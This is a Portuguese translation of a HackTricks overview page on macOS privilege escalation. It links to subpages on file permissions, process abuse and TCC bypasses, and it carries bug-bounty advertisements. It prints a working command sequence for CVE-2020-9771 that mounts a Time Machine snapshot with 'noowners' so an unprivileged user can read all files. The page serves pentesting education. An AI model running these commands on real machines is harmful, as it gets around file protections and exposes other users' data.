hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-07-14 14:49:16 +00:00
..
mac-os-architecture Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-06-26 19:17:19 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-06-26 13:20:56 +00:00
macos-files-folders-and-binaries Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-07-06 17:54:55 +00:00
macos-mdm Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:37:24 +00:00
macos-proces-abuse Translated ['forensics/basic-forensic-methodology/specific-software-file 2023-07-14 14:05:53 +00:00
macos-security-protections Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-applefs.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-basic-objective-c.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-bypassing-firewalls.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2023-07-14 14:05:53 +00:00
macos-defensive-apps.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-file-extension-apps.md Translated ['macos-hardening/macos-security-and-privilege-escalation/REA 2023-06-10 11:14:53 +00:00
macos-protocols.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:40:12 +00:00
macos-red-teaming.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
macos-users.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2023-07-14 14:49:16 +00:00

Segurança e Escalada de Privilégios no macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

MacOS Básico

Se você não está familiarizado com o macOS, você deve começar aprendendo o básico do macOS:

  • Arquivos e permissões especiais do macOS:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Usuários comuns do macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • A arquitetura do kernel

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Serviços e protocolos de rede comuns do macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

Nas empresas, os sistemas macOS provavelmente serão gerenciados com um MDM. Portanto, do ponto de vista de um atacante, é interessante saber como isso funciona:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - Inspeção, Depuração e Fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Proteções de Segurança do MacOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Superfície de Ataque

Permissões de Arquivo

Se um processo em execução como root escrever um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para elevar privilégios.
Isso pode ocorrer nas seguintes situações:

  • O arquivo usado já foi criado por um usuário (pertence ao usuário)
  • O arquivo usado é gravável pelo usuário por causa de um grupo
  • O arquivo usado está dentro de um diretório de propriedade do usuário (o usuário pode criar o arquivo)
  • O arquivo usado está dentro de um diretório de propriedade do root, mas o usuário tem acesso de gravação sobre ele por causa de um grupo (o usuário pode criar o arquivo)

Ser capaz de criar um arquivo que será usado pelo root, permite que um usuário aproveite seu conteúdo ou até mesmo crie symlinks/hardlinks para apontá-lo para outro lugar.

Para esse tipo de vulnerabilidade, não se esqueça de verificar instaladores .pkg vulneráveis:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abuso de Privilégios e Entitlements por meio de abuso de processo

Se um processo pode injetar código em outro processo com privilégios ou entitlements melhores ou entrar em contato com ele para realizar ações com privilégios, ele pode elevar privilégios e contornar medidas defensivas como Sandbox ou TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Manipuladores de aplicativos de extensão de arquivo e esquema de URL

Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos.

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Escalada de privilégios no MacOS

CVE-2020-9771 - bypass do TCC do mount_apfs e escalada de privilégios

Qualquer usuário (mesmo os não privilegiados) pode criar e montar um snapshot do time machine e acessar TODOS os arquivos desse snapshot.
O único privilégio necessário é para o aplicativo usado (como Terminal) ter Acesso Total ao Disco (FDA) (kTCCServiceSystemPolicyAllfiles), que precisa ser concedido por um administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Uma explicação mais detalhada pode ser encontrada no relatório original.

Informações Sensíveis

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

Antes de mais nada, observe que a maioria dos truques de escalonamento de privilégios que afetam o Linux/Unix também afetarão as máquinas MacOS. Portanto, veja:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

Aplicativos de Defesa para MacOS

Referências

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥